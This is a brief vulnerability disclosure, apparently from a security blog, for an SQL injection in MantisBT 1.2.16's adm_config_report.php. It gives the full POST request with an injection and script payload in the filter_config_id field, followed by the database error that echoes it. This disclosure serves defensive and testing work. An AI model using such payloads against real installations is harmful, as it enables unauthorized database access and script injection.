# ============================================================== # Title ...| MantisBT 1.2.16 # Version .| 1.2.16 # Date ....| 28.02.2014 # Found ...| HauntIT Blog # Home ....| http://www.mantisbt.org # ============================================================== [+] for authorized user # ============================================================== # SQL Injection ------ POST /k/cms/mantis/mantisbt-1.2.16/adm_config_report.php HTTP/1.1 Host: 10.149.14.62 (...) Content-Length: 135 save=1&filter_user_id=0&filter_project_id=0&filter_config_id='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&apply_filter_button=Apply+Filter ------ ------
APPLICATION ERROR #401

Database query failed. Error received from database was #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"><body/onload=alert(9999)>'
ORDER BY user_id, project_id, config_id' at line 3 for the query: SELECT config_id, user_id, project_id, type, value, access_reqd
FROM mantis_config_table
WHERE 1=1 AND user_id = 0 AND project_id = 0 AND config_id = ''>"><body/onload=alert(9999)>'
ORDER BY user_id, project_id, config_id .

Please use the "Back" button in your web browser to return to the previous page. There you can correct whatever problems were identified in this error or select another action. You can also click an option from the menu bar to go directly to a new section.

------ # ============================================================== # More @ http://HauntIT.blogspot.com # Thanks! ;) # o/